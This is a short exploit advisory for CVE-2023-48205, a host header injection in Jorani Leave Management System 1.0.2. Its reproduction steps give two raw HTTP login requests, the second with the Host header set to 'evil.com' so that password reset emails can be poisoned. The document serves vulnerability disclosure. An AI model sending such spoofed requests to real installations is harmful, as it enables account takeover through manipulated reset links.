# Exploit Title: Jorani Leave Management System v1.0.2 Host Header Attack # Date: 12/11/2023 # Exploit Author: BugsBD Security Researcher (Rahad Chowdhury) # Vendor Homepage: https://jorani.org/ # Software Link: https://github.com/bbalet/jorani/releases/download/v1.0.2/jorani-1.0.2.zip # Version: v1.0.2 # Tested on: Windows 10, PHP version: 8.2.4, Apache/2.4.56 # CVE: CVE-2023-48205 Descriptions: A Host Header Injection vulnerability in Jorani Leave Management System 1.0.2 may allow an attacker to spoof a particular header. This can be exploited by abusing password reset emails. Steps to Reproduce: 1. Request: GET /jorani/session/login HTTP/1.1 Host: 192.168.1.74 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 Sec-GPC: 1 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Cookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3; jorani_session=pqop598dtj85okrjvh043es6pqp1juag Connection: close 2. Now change host name and check browser response. So your request data will be: GET /jorani/session/login HTTP/1.1 Host: evil.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 Sec-GPC: 1 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Cookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3; jorani_session=pqop598dtj85okrjvh043es6pqp1juag Connection: close ## Reproduce: [href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48205)